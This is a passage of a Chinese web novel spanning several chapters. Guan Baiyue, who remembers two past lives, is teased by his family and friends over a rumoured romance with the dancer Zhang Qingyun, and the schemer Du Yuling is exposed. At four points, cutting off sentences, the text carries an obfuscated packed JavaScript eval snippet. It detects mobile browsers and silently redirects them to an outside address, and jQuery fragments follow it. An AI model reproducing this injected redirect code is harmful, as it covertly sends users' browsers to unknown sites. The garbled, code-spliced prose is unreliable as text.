师援军赶紧起身,小跑过去哄人,关百钺是真麻爪儿了。哎,上辈子独立惯了,连上上辈子虚与委蛇的本事都生疏了。 是的,关百钺有两世记忆。第一世,他从一届布衣,混成了大魏朝第一任宰相,一人之下万人之上。可惜用脑太过,不到五十岁就去了。第二世就是上辈子,虽是普通人,可宁为太平犬莫作乱世人,终于可以轻松些,关百钺选择做商人,只谈利益,不谈其他。谁知刚做上CEO没两年,飞机失事,又来了这里。 三世为人,关百钺觉得老天待他不薄,这辈子还给了他一个不错的家世。看着被哄好不再掉眼泪的关盈钺,关百钺连忙收敛表情,乖乖巧巧坐着。有人管就有人管吧,总比第一世众叛亲离强。 关盈钺瞪了弟弟一眼,继续 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16180831|180957||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 道:“当兵的事儿怎么说?你要是点头,你姐夫家......” 关百钺赶紧摇头,两辈子他都不善武力,当兵?别开玩笑了,到时候被淘汰了退回来,还不够丢人的,他忙说:“姐,我心里有数,您......” “有数什么有数,你个混小子!”关盈钺狠狠点了点弟弟的额头,恶狠狠的问,“说,是不是看上姑娘了,不肯去?我可都听吴军说了,你跟那个章清云到底怎么回事儿?!说实话,不然看姐怎么收拾你!” 关百钺连忙解释:“姐,那都是吴军胡说呢。这小子不干好事儿,下班路上堵人家姑娘,我和小雪帮着说了两句话,就这么点儿事,真的。” 关盈钺哼一声:“还不说实话?小雪都跟我说了,你都应承吴军了,让他有事儿找你,怎么,都这么下本儿了,还不敢承认?” 她上上下下地打量关百钺:“我弟弟也不是这么没种的人啊。” 关百钺一头的黑线,姐姐哎,您是想让我处对象呢,还是当兵啊。您这心思,属实有点儿难猜啊。他同情地看了准姐夫师援军一眼,看得师援军莫名其妙。 看弟弟那便秘的表情,关盈钺哈哈哈的笑,前仰后合的,满屋子都是她的笑声。 一旁的准姐夫师援军捅了捅小舅子,冲关百钺竖起大拇指,低声道:“好小子,我说你怎么看不上安娜呢,原来眼光这么高呢。厉害!” 关百钺是一百张嘴也说不清了,只得转移话题道:“婚礼怎么着了?在哪儿办呀?” 师援军嗐了一声:“还能在哪儿,大院儿食堂呗。又不能大操大办,办个茶话会就成了,到时候人多一些,也热闹。” 关盈钺笑够了,点了点关百钺:“你就转移话题吧。” 她端起茶几上的茶杯,咕咚咕咚喝水,喝完抹抹嘴儿,这才道:“行了,我也不笑话你了。上次爸妈来信,还问你的个人问题呢。说是希望你能趁着年轻,享受爱情,享受生活。你可不能不听话。” 关百钺敷衍了两句。说起来,关家父母也是很开明了,也许是很少陪伴孩子的缘故,对一双儿女并不如何拘束,反而鼓励其自由成长,最喜欢也最推崇的就是李白,也最喜欢那首《少年行》,信里反复提到这首诗,用两人的话说,就是“少年人原该恣意”。 关盈钺睨了眼弟弟:“行了,知道你不耐烦,看你的报纸吧,不跟你说了还不行?不过小雪还是要看着些,这丫头不懂事儿,可不能被那些顽主哄了去,知道不?” 关百钺点头:“自然。” 关家父母关家康和梁秀英,常年不在家,对这姐弟俩管教最多的,就是原身的姑姑关家和。不过关家和夫妻俩都是军医院的医生,本身也很忙,年初还被派到了南边岛上,去的特别急,执行什么任务、什么时候回来,大家也不敢问。小雪高中毕业了没事儿做,整日瞎胡闹,他自然要看着些。 三人正在院子里说话呢,洪安娜挎着沈爱军的胳膊推门进来。关家的住所,是一栋二层小楼,带院子的那种。科研大院儿,一般不睡觉是不会关大门的,是以两人也不用敲门,直接推门就进来了。 8. 恋情传开瞧热闹 洪安娜一身洋气的红底儿黄碎花布拉吉,进来就啧啧两声,一脸的兴致盎然:“听说小钺看上个姑娘,我说什么都得来看看。盈钺姐,怎么样,咱明儿去瞧瞧?听说是文工团的准台柱子,我去看看,好知道知道哪儿不如人家,让小钺这么看不上。” 沈爱军也不介意女朋友的话,反而调侃道:“那自然是哪儿哪儿都不如了,不然能便宜了我?” 关百钺起身,给两人让座,笑道:“瞧安娜姐说的,您这么好的人,是我配不上您,我一什么都不是的,哪儿配得上咱们大院儿一枝花啊。还得是爱军哥,这么有派的人,才能摘了您这朵带刺的玫瑰。” 洪安娜咯咯咯的笑,锤了下沈爱军,坐下睨了眼关百钺,又噗嗤笑了出来:“我知道了,准是嫌我比你大。哼,姐姐姐姐的,我稀罕你叫姐还是怎么的。” 关盈钺解围:“这是听谁说的?怎么,这么短时间,大家都知道了?” 沈爱军解释道:“可不是,估计部队大院、市政大院还有科研大院都知道了。吴军那小子跟他爹似的,精着呢,做好事儿恨不能全世界都知道,都卖他的好儿呢。” 洪安娜跟着点头,嗔了眼关百钺:“你也真是,怎么能对吴军说那些话?他可是会当真的,要是真求上你,看你怎么办?!” 关百钺:“放心,我心里有数儿。”求上他才好呢,就等着他狮子大开口,如此,他才有理由结交吴父,才能“上进”啊。整日无所事事的,他都闲得蛋疼了。 关盈钺倒是不关心这个,对于洪安娜一开始的提议,她十分的认同,提议道:“安娜你明儿什么时候有空?咱们去文工团会会这个章清云,怎么样?” 洪安娜点头:“行啊,姐要去,我自然奉陪。那咱们中午去,正好你也不用跟医院请假,咱们还能请人去国营饭店,边吃饭边说话。” 关百钺张了张嘴,半天了也没说出话。能说什么呢,他跟去看着点儿吧,总不能给人家小姑娘带去麻烦,他还站干岸看热闹吧。 一行人说着话,高斌带着魏雪和小弟卢建设,就是给高斌递蛋糕那个,大喇喇推门进来,高斌扬声道:“好你个关百钺,我还没拍上蓝可人呢,你倒先搞定了她的B角!说,什么时候勾搭上的?” “斌哥。”关百钺招呼人坐下,魏雪见茶几上有香蕉,不客气地掰了一个,递给卢建设:“吃吧,在我哥家不必客气。” 卢建设尴尬地冲众人笑,接过来拿在手上,并没有剥。魏雪见了,干脆抢过来,三下五除二剥开,又递过去,不耐烦道:“说了不必客气,吃啊。” 关盈钺看着魏雪的装扮,皱了皱眉,没说什么,只冲三人笑笑。 魏雪的装扮怎么了呢?无非是绿军装、懒汉鞋搭配白袜子,要是冬天,脖子上准会戴一条鲜红的毛线围巾。说句不客气的话,这是如今“小圈子”的标准打扮。关盈钺也不是没混过,可怎么看着魏雪这么穿,心里别扭得不行不行的,眉头越皱越深。 关百钺微微摇头,关盈钺扭过脸,终是什么都没说。 高斌完全没察觉两人的小心思,只一个劲儿问关百钺:“说说,怎么追上的?你也知道,斌哥我追了蓝可人那么久,那妮子都对我爱答不理的,可没你这么利索。哥可是真心请教。” 魏雪嘴里还吃着香蕉呢,含混道:“斌哥,你就不该理那个杜玉玲,没她掺和,你和可人姐早好上了。” 高斌挠挠头:“是吗?可每次可人出来,都带着那个杜玉玲,甩都甩不掉。” 魏雪翻个白眼儿:“那是可人姐识人不清,竟然觉得杜玉玲是好人!这点就不如我嫂子,我嫂子身边就没有这种白眼儿狼。” 高斌十分的不耻下问:“那你说怎么办?有没有办法甩掉那个杜玉玲?说实话,我也不喜欢她跟着,跟可人说几句悄悄话都不行,还整天要东西,烦人得很。” 魏雪摇摇头:“那就是个牛皮糖,脸皮又厚,黏上就难揭下来。不过斌哥,你千万得注意,不能单独和她出去,否则才是上了她的当呢。” 高斌点点头:“这个不会,我又不喜欢她,怎么可能跟她单独出去......” 魏雪打住他的话头:“那要是杜玉玲拿蓝可人当借口呢?说有可人姐的消息什么的,你去还是不去?” 见高斌不回答,魏雪继续追问:“要是她被顽主欺负,你救还是不救?要是在你面前装可怜,哭哭啼啼的跟你借钱,你管还是不管?” 迟迟没有听到回答,魏雪翻个大大的白眼儿。 洪安娜看的有趣,啧啧两声,夸道:“小雪懂得不少啊。” 魏雪哼一声:“杜玉玲那种人,我们高中多得很。你们都在部队高中读的书,见识自然没我多。大杂院出来的,小心思多着呢。” 魏雪十分的得意,笃定道:“斌哥,你可别犯傻,杜玉玲一心想嫁到大院的,你可是他的重点目标,可上点儿心吧。” 关盈钺唬了一跳,忙看向关百钺:“小钺,那什么杜玉玲没找你事儿吧?” 关百钺失笑:“没有,姐,你想哪儿去了。” 魏雪闻言笑起来:“姐,我哥就是个傻子,杜玉玲抛媚眼他也看不懂,可不就不找他了嘛。放心吧,人家现在的目标是斌哥,已经看不上我哥了。” 一行人看看高斌,又看看关百钺,不自觉笑起来。师援军更是笑不可抑:“没想到这杜玉玲还挺有眼光。这一伙儿里,也就百钺和高斌长得好,建设也还行,就是看着还是个孩子样儿,估计杜玉玲也看不上。不过也得小心,不是什么女人都能沾的。” 卢建设懵懂地点头,魏雪看看卢建设,一脸的恨铁不成钢,低声嘱咐:“你可别不当回事儿。杜玉玲是还没注意到你,一旦她转移目标,你可就是首选!别犯傻......” 巴拉巴拉地说着小话,其他人可没功夫听这些,三三两两说起别的。直到九点了,才各自散开。等只剩姐弟两人了,关盈钺才提醒道:“多看着点儿小雪,这妮子八成是看上卢建设了。卢建设没什么,上次苏赖子的事儿还得亏他言语一声,可是他爸......” 关百钺先是惊讶,而后才点点头,他就说嘛,看魏雪的样子,也不像是喜欢高斌的,可怎么总跟着这伙子人,原来是看上卢建设了。想想卢建设的脸,典型小白脸儿的样儿,怪不得呢。 不过关盈钺说的对,卢 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16180832|180957||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 建设他爸是运动后上来的,品行上是有瑕疵的,和这样的人做亲家,对姑姑和小雪都不是好事儿,关百钺点头道:“知道了,我会看着的。姐,你就专心忙婚礼的事儿吧,小雪的事儿有我。” 关盈钺嗯了一声,另一边,章清云还不知道明儿会遇到这一行人呢,此时开完会,正往家走,章砚廷找到弟弟,低声道:“砚臻,钱要是不够,跟哥说,哥先给你垫上。建材不好弄,你这不定搭进去多少送礼钱呢......” 章砚臻摆摆手,大哥是八级工,每月单工资就一百多快小二百了,更别说各项补贴,大嫂邵华还是供销社售货员,时不时能买到便宜的物资。别看大哥家孩子多,日子比自家是好过很多的。只是大哥脑子简单,不会来事儿,只在技术上钻研。大嫂有些小心思,却也不是个坏人,这才一直相安无事的。 这次是牵扯到了房子,才冷战了半个月,以往两家相处是十分愉快的。想到这里,章砚臻笑了笑,拍拍大哥的肩膀,道:“有呢,大哥别操心。有事儿我不会客气的,放心吧。” 章砚廷点点头:“行,别跟大哥客气就行。” “那不会,大哥慢走。” 说完话,五家人各自分开,章清远叽叽喳喳的提着要求:“爸,妈,我明儿放暑假,别叫我起来吃早饭了呗?我想多睡会儿......” 陈静板起脸:“行,不过等成绩出来了,要是考得不好,看我怎么收拾你!” 章清远瞬间摸了摸屁股,不自然的笑:“不会不好的,妈,您可别忘了给我买兵乓球拍......” 一夜无话,翌日一早,关百钺还没起呢,外面就热闹起来。这个喊,“百钺,今儿不是去看你那圈子嘛,走啊”,那个嚷嚷,“什么圈子,放尊重点儿,我打听了,人家妈是警察,爸爸是七级电工,跟一般大杂院出来的可不一样”。 关百钺翻个身,不想搭理这些人。 可外面传来刷刷刷停自行车的声音,这个说“百钺肯定是没吃早饭呢,咱们进去等”,那个说“就是,百钺哥吃饭慢,外面等可不行”。 关百钺认命地坐起身,拿起一旁椅子上的大裤衩,套上就往出走。推开客厅的门,好家伙,院子的石凳上坐了一群人,为首的高斌十分的自来熟,跟在自己家一样,大马金刀地坐着:“百钺你快着点儿,今儿我还要找可人呢,这些兄弟都想见见你那小女朋友,别磨蹭。” “哎呦,都是女朋友了,百钺哥,你下手可够快的啊。” “那是自然,听说长得不比可人姐差,是不是啊,斌哥?” 关百钺默默翻个白眼儿,转身往洗手间走,在这种叽叽喳喳中,刷牙洗漱,慢条斯理地坐到餐桌前。关盈钺是上过大学的,如今在军医院做医生,早就上班去了,如今家里就他一个。 餐桌上放着关盈钺准备的早饭,俩杂面窝头,还有一小盘儿芥菜丝咸菜,和一碗温热的碴子粥。 再慢,十五分钟,早饭也吃完了。这就走吧,都来了,还能不让去不成?二十多个人呢,他说了也得有人听啊。也不知怎么了,和那小姑娘就这么有缘?非说是他女朋友,怎么解释都没人听,真是要了命了。 9. 文工团恋情纠葛 这日训练,不止周文芳来了,团里其他领导也找各种理由,过来走了一圈儿。不止看,还跟周文芳叽叽喳喳,似是有什么事儿一般。 想到昨天的不愉快,杜玉玲脸色有一瞬间的不自然,不过很快掩饰过去,继续埋头训练。 章清云也注意到了,不过她做事十分专注,加上对芭蕾还不太熟悉,急着记动作找感觉呢,对外界的反应就有些迟钝,等要吃午饭了,才知道一上午来了这么多领导。 程紫鹃端着饭盒,因着昨日吃的克制,今儿体重已经下去了,又能敞开了吃,因此十分的兴奋,一路上叽叽喳喳,说的都是午饭的事儿:“我妈卤了牛肉,可好吃了,清云你......” “章清云,章清云!” 刚走出训练室,大门口就响起有节奏的呼喊声。章清云循声望去,好家伙,又是昨儿那群人,只是好像多了几个女人?而且,今儿怎么喊起她了? 蓝可人脸红的吓人,杜玉玲哈了一声,双手抱胸,一脸的嘲讽:“好啊,章清云,你敢撬可人的墙角......” “杜玉玲,你胡说什么!”程紫鹃可不惯这人的毛病,“用你的脑子想一想,高斌来过多少次了,哪一次是来找清云的?用你那不大的眼睛好好瞧瞧,喊人的是高斌吗?” 章清云也瞪了杜玉玲一眼,对蓝可人道:“喜欢就别口是心非,到时候被最信任的人撬了墙角,可有的你哭。” 小朋友的恋爱游戏,她本来不想参与的,谁知道杜玉玲不依不挠,那就别怪她挑破了!别以为就她聪明,这点儿把戏,谁看不明白啊。 程紫鹃附和,盯着蓝可人道:“就是,我就不明白了,你是喜欢杜玉玲时时刻刻巴结讨好你呢,还是喜欢高斌时时刻刻哄着你。要是如此,你不该谈恋爱,合该一直在家做小公主啊。” 章清云噗嗤笑了出来,要么说吃货都是潜力股呢,程紫鹃好样儿的。再次望向大门口时,章清云的脸上又恢复了严肃,她咦了一声,高声道:“魏雪?” 走过去,章清云抱胸看着魏雪和关百钺:“怎么,昨儿那两块砖没明白什么意思?” 魏雪立马扬起笑脸儿,十足的乖巧:“哪儿啊,清云姐,我就是带几个姐姐来看看你。” 她一一介绍:“这是关盈钺,是百钺的大姐。这是安娜姐,可是大院一枝花,大家这不是对你好奇嘛,都想来看看你。” 章清云挑眉:“好奇?我又不是猴子,有什么可好奇的?” 魏雪挠头:“那什么,你不是百钺哥的对象嘛,大家这才好奇的。呵呵,呵呵呵。” 章清云怒目圆瞪,死死盯着关百钺。可她认为的怒目圆瞪,在原身这种长相的加持下,就是含羞带怒啊,看得一群人嗷嗷叫,一个个恭恭敬敬地喊“嫂子”。 好嘛,更说不清了。 关盈钺倒是来了些兴致,挑眉问道:“两块砖是怎么回事儿?小姑娘,跟姐说说呗。” 章清云狠狠剜了眼关百钺,似笑非笑道:“光说可没用,没砖头,说不清楚。” “有,怎么会没砖头呢。”高斌冲着身后的小弟道,“去给你们百钺嫂子找两块砖头来。” “好嘞。”自然有小弟跑去找了。洪安娜笑看章清云,小姑娘长得柔柔弱弱的,没想到性子倒是洒脱,她拍拍关百钺的肩,调侃道:“好小子,眼光不错。” 关百钺无奈,偷眼去看章清云,发现人正瞪着他呢,关百钺忙道:“安娜姐,大姐,我说过多少次了,你们误会了。我和章清云同志是最纯粹的同志关系,什么事儿都没有......” “大哥,砖头来了。” 得了,又说不清了。章清云哼一声,不等高斌递过来,直接伸手,隔着铁栅栏门去拿,将两块砖叠在一起,又表演了一个徒手劈砖,她说:“去跟那些想跟着我的顽主们说清楚,我章清云可不是吃素的。以后上下班都别跟着我,不然我可不客气。” 简单的武力,往往有最直接的效果。对面高斌的一众小弟们纷纷点头如捣蒜,要多乖巧有多乖巧。关盈钺、洪安娜和魏雪更是鼓掌叫好,洪安娜高声道:“清云妹子,你放心,以后姐姐罩着你,保管你在这一片横着走。” “还有我,姐也罩着你。”关盈钺吹了声口哨,流里流气的,却也十分潇洒,她说,“怪不得百钺看上你呢,好样儿的。” 关百钺:“......”他可真是跳进黄河也洗不清了。 文工团的众人却是目瞪口呆,杜玉玲结结巴巴了半天,才道:“章清云,你......你怎么这么粗鲁!高斌,你说,是可人姐好,还是这个粗鲁的章清云好?” 昨儿听了那么多杜玉玲的坏话,高斌今儿算是长记性了,他不理杜玉玲,反而对蓝可人道:“可人,我对你的心思,你要是还不懂,一心听这个杜玉玲的挑拨,那我认栽算了,大半年白忙活一场我也认。要是心里还有我,今晚老地方,不准带杜玉玲,知道吗?” 杜玉玲跺了跺脚,红着眼圈儿控诉:“好你个高斌,我这么帮你,你就是这么想我的?我什么时候挑唆你俩的关系了?我那是在帮你们好不好?哪儿有男女单独出去的,我跟着你们,是怕你犯错误,你别狗咬吕洞宾不识好人心。” 不待高斌说话,魏雪呸一声:“少来了,杜玉玲!高斌哥已经看清了你的真面目,你少忽悠人了。” 关盈钺忙去拉魏雪,这个小丫头,怎么总是强出头呢,人家三个人的纠葛,关你什么事儿,要你多话。她低声道:“行了,小雪,闭嘴。” 高斌望向蓝可人,盯着她的眼睛,一字一顿道:“记着,老地方,一个人来。” 蓝可人脸通红通红的,也不说话,也不点头的,高斌继续加码:“要是带了杜玉玲,以后我就再也不来了。你知道的,我说话算话。” 杜玉玲眼珠子乱转,忙一把拉住蓝可人:“可人,你可别上他的当!哪儿有男女单独约会的,要是他耍流氓,你的名声还要不要了?他不来就不来,追你的人多着呢......” 说着,拽着人就往食堂走。蓝可人看了眼高斌,低下头,顺着杜玉玲的力道离开了。 章清云眯眼,总觉得哪里不对劲儿。蓝可人是个快二十三岁的成年人,就这么没有判断力,什么都听杜玉玲的?她怎么这么不信呢。 高斌耷拉下肩膀,一副受伤的样子。关百钺低声道:“杜玉玲应该是知道蓝可人的什么秘密,不然蓝可人不会这么听她的话。斌哥,你不妨从这方面下手,帮助蓝可人摆脱杜玉玲,到时候别说让蓝可人做女朋友了,就是要娶她,都行的。” 闻言,章清云多看了关百钺两眼 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16180833|180957||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,拉着程紫鹃离开了。魏雪还在后面喊呢:“哎,嫂子,你怎么走了。我们还说请你去国营饭店吃饭呢,嫂子,别走啊......” 章清云头也不回地摆摆手:“不用了,文工团食堂还不错,再说,我怕吃了你们的饭,不消化。好了,再见。” 程紫鹃看着章清云,一脸的崇拜:“清云,你怎么这么厉害啊!不仅会跳舞,还会功夫,长得还这么好,天啊,你简直就是我的偶像!” 章清云敲了敲程紫鹃的头:“行了,吃饭都堵不上你的嘴了?不是带了卤牛肉,可得给我吃一块儿......” 看到前方的蓝可人和杜玉玲,章清云笑笑,杜玉玲这种人哪儿都有,可她不该拿捏蓝可人。把蓝可人当成跳板,章清云都不会生气,可拿捏短处要挟人,就不行! 下午训练了两个钟头,中场休息时,蓝可人去厕所,章清云偷偷冲程紫鹃使了个眼色,赶紧跟上。杜玉玲见状,忙也要跟过去,却被程紫鹃拦住,只听程紫鹃道:“杜玉玲,你不是要周末演出的票吗?我这里有,连七一汇报演出的票都有,你要不要?” 杜玉玲被吸引了注意力,七一演出呢,可有不少领导出席,她忙问:“七一的票,你有几张?” 另一边,章清云追上蓝可人,没来虚的,直接问了出来:“杜玉玲是不是知道你什么秘密?不然你怎么这么听她的话?” 蓝可人低着头不说话,章清云继续道:“你也感受出来了吧?杜玉玲不是什么善茬,你要是继续和她纠缠,和高斌可就再也没可能了,你想清楚。” 说完率先去了厕所。只是当出来时,蓝可人等在外面,低声道:“半年前,我......训练晚了些,回去的时候被一伙人拦住,要......要对我耍流氓,是杜玉玲出来救了我。当时我挺感激她的,把她当成最好的朋友。可......” 她脸有些红,似是对当初的犯蠢不好意思,继续道:“可后来接触多了,我发现,她......她其实不会功夫。那天小流氓有四个人,她不可能对付得了的。我就觉得不对劲儿了,可她话里话外总是暗示,那次我被人占了便宜,我怕闹开了,名声不好,一直没吭声。” 原来如此,章清云道:“怪不得,那次除了四个小流氓,就你和杜玉玲两个人,没其他人看见?” 蓝可人点点头,章清云道:“行,这事儿我会跟高斌说的。你今晚会带着杜玉玲去吗?” 蓝可人十分的苦恼:“杜玉玲甩不开的,总是跟着,怎么赶都不走。我......我可能去不了。” 章清云点头:“明白了,我去跟高斌说,你放心,他是青江城的顽主,查这些事儿跟玩儿似的。这几天你先跟以前一样,别表现出异常,等事情查清就好了。” 蓝可人看了眼章清云,不好意思地低声道:“那个,我......我能跟你学功夫吗?我想过了,那次都是因为我不会功夫,才上了杜玉玲的当,生了后面这些事儿。要是我会功夫的话,自己就能解决,我......” 章清云笑:“行啊,等解决了杜玉玲,我就教你。好了,走吧,记住,这几天别表现出异常。对了,你和高斌约在哪儿,我去哪儿找他?” 蓝可人脸有些红,低声说了个地址,两人若无其事地回到训练室,继续跳琼花。 10. 编织袋子超抢手 高斌不愧是顽主,也就两天的功夫,将事情查了个水落石出。那日蓝可人遇到的流氓,果然是杜玉玲收买的,是她大杂院的几个邻居,说是帮“女神”尽快在文工团出头,才出此下策。 查清的第二日,在一次三人约会中,高斌毫不犹豫地叫来那四个小流氓,看着瞬间变色的杜玉玲,高斌丝毫没有心软,厉声道:“杜玉玲,你做的事儿,要是让文工团知道,可是会被开除的!以后离可人远一点儿,她没心眼儿,不代表我没有,明白吗?” 杜玉玲脸色由白转红,又由红转白,她咬牙看了眼低着头的蓝可人,又去瞧对她怒目而视的高斌,哈了一声,抱胸道:“好啊,蓝可人,你调查我!是不是章清云,是不是她告诉你的,她......” 蓝可人抬头,目光清凌凌地看过去:“玉玲,不要胡乱攀咬人!当时我是真的感激你的。可你不该耍我!你喜欢高斌,可以直接跟我说,不该暗搓搓搞这些歪门邪道......” 杜玉玲切了一声,十分的不屑:“什么歪门邪道?只要能嫁到大院,就是光明大道!行,我认栽,放心,以后我不会缠着你,你可以放心的和高斌谈恋爱。你们也放心,我杜玉玲还没那么贱,要去破坏你们的感情。我向来只撬还没砌好的墙角,你这个墙角都砌牢了,我可不稀罕!” 说着,她一甩头,睥睨蓝可人:“老娘这么美,早晚嫁得比你好,你等着。”有一句话杜玉玲没说,那就是她会比章清云嫁得更好,比文工团的所有人都过得好! 蓝可人的事儿解决了,章清云却遇上了麻烦。这事儿还要从那日关盈钺、洪安娜一行人去文工团说起。大家都认定了关百钺是章清云的男朋友,就算两人谁都没认,可不耽误大家八卦啊,要知道,文工团可还有一个苗盼儿呢,那可是章清云的邻居。 当日下班,章清云谈对象的消息,就在大杂院乃至三叉树胡同传开了。加上章清云为了确认那个小五子的行踪,回来的晚了些,更是将消息坐实了。 吃完晚饭,一家子正在院儿里纳凉呢,章砚臻就听到了这个消息,晴天霹雳啊,当场击穿了章砚臻这个老父亲并不强健的心脏。他捂着胸口,一遍遍跟亲亲好闺女确认:“清云,你说,你没谈对象,是吧?只要你说没,爸就信你,真的......” 章清云摇着大蒲扇,一脸的无奈,她说:“爸,我刚选上琼花的B角,是那种自断前程的人吗?安啦,我还要当台柱子呢,才不会这时候谈对象呢。” 话音刚落,章砚臻还没怎么样呢,一旁过来确认消息的袁国伟和袁国富一脸的惊喜,袁国伟道:“清云,你说的都是真的,你......” 袁国富将二哥挤到一边儿,斥责道:“跟谁清云呢,清云也是你叫的?你可比清云大四岁呢,跟我家清云可不合适。清云,你......” 章砚臻肃着脸起身,又是挽袖子又是压腿的,全程脸黑得能滴出墨汁儿。陈静在一旁,双手交叉,手指关节噼里啪啦的响。章清远一个十二岁的小鬼,蹭蹭蹭翻起了跟斗。章清云则一个高抬腿,游廊顶部的蜘蛛网,被腿风扫了下来。 陈静幽幽的道:“我刚才是不是听错了,你们俩叫我闺女什么?” 袁国伟和袁国富瞬间老实了,立正站好,脸上无比严肃。一家子武力值超高的存在,惹不起,惹不起。 袁国伟呵呵笑了两声:“那个陈姨,您听错了,我们叫的是章家妹子,对,章家妹子,我就是来问问,泥沙、砖头什么时候到,呵呵,呵呵呵。” 章砚臻哼了一声:“这事儿啊,问我啊,又不关我家清云的事儿。” “是,是,那章叔,您说,这泥沙的事儿......”袁国伟、袁国富一脸的谄媚相,十分的没有骨气了。 章砚臻不耐烦地摆摆手:“等着吧,明儿中午的时候就到,这几天咱们中午都回来,争取到周末,把所有房间都盖好。” 袁国伟:“行,都听您的,章叔您就是能干。” 袁国富:“就是,那章叔您忙,我们先走了。” 虽然赶走了两个搅屎棍,章清云也声明了,她不会在这种时候谈对象,可章砚臻这个老父亲哪里放心呀,也不知道怎么跟章清远说的,小家伙日日接送章清云上下班,坐在姐姐后车座上认真的监督。有时候还不老实,好几次想着他骑,让姐姐坐后面呢。 这就不能再去找小五子了,不过章清云已经确定了人,总能找到机会报仇的,原身才十八,她不急。 对于苗盼儿瞎传闲话的行为,章清云没想怎么着。高斌一行人做事从不遮掩,青江市又不大,事情早晚传过来。让她去吧,只不过有人来接送上下班,这种经历,让章清云觉得挺新奇,内心十分的受用。 这日下班,大家正围着堆成小山样的泥沙,指手画脚,好不热闹。见姐弟俩回来了,隔壁大杂院的马大婶儿腆着脸,赔笑道:“清云啊,这泥沙袋子你们要不要?不要的话给我家几个,我刚数了,有差不多一百袋子呢,我也不多要,给我家三十,不,四十个,行不行?” 这年头,泥沙也不是谁都能挖的。大队靠这个换钱换物资的,当然要办得正规些,装个袋子只是第一步,袋子上,连工厂的名字都印上了,看着跟正规的水泥厂也没什么差别。 “好你个老马,四十个袋子,亏你说的出口!”牛桂兰一屁股挤开马大婶儿,赔笑道,“清云啊,别理她,她简直是狮子大开口,心里就没点儿数。清云,牛大婶儿对你可一直不错,我家盼儿跟你还是同事,是吧?咱两家什么关系!你看,我家也想要点儿袋子,给我来五十个,不,六十个行不行?你看你家又不缺东西,你大伯娘还是供销社的,什么买不着,就别跟我们抢袋子了......” “闭嘴!”陈静进门儿,眼神儿在人群里扫视一圈儿,许是常年审犯人审多了,被看到的均是一哆嗦,怕陈静下一句就是“坦白从宽抗拒从严”。好在陈静还分得清场合,她说,“少跟我家清云攀交情。她不懂,我可不傻!袋子是大哥家、我家还有袁家三家分的,按照出钱的比例,大哥家分一半儿,我家和袁家分剩下的一半儿,谁也别想占便宜!” 陈静是穿着警服的,又是推选出来的管院儿,这段话说出来,还真没多少人敢反驳。隔壁的马大婶儿撇撇嘴,率先扭着屁股离开了。何玲却笑开了花,就是嘛,她家可是出了钱的,凭什么把袋子往外送,没这样的道理! 章清云这才反应过来,合着这些人是看中了袋子。进屋后,她低声问道:“妈,泥沙袋子能干啥啊?咋还抢这个?” 陈静望向闺女花儿一样的脸,十分的一言难尽:“你个啥也不知道的。那袋子可 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16180834|180957||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 是编织袋儿,是能当布料用的。雨衣、窗帘、裤子,哪儿样它不能做?你说大家抢它做什么?!” 这下章清云是彻底傻眼了,编织袋儿做裤子?想想□□前面写着“泥沙”俩字儿,屁股后面再印上“XX泥沙厂”的字样,怎么就那么可乐呢。 “行了,我下班儿去供销社看了看,有新的虾酱卖,咱们今儿做虾酱炒鸡蛋,再炒个青菜,熬个碴子粥就成。”陈静挥了挥手,见闺女笑得前仰后合的,这才一巴掌拍在闺女的肩膀上,也不知道想什么呢,乐成这样,她说,“去摘菜。你爸马上回来了,咱们快着点儿。” “行。” “没酱油了,小远,去供销社打一斤酱油,自己去拿票和钱。”陈静吩咐道。 “好嘞。” 姐弟俩忙起来,很快忘了刚才的事儿。另一边儿,从食堂打饭回来的关百钺,迎来了早该来拜访的人,吴军。 自那次说了“有事儿找他”的话,关百钺还以为这家伙第二天就得来,没想到还是个沉得住气的,憋了两天才来。 关百钺张大嘴,十分意外的样子,半晌才笑着将人迎到屋里:“小军啊,进来,家里没人,就我一个,也不给你倒茶了,咱们谁跟谁啊,是吧。” 说着将饭盒放到餐桌上,十分自然地问:“有事儿?” 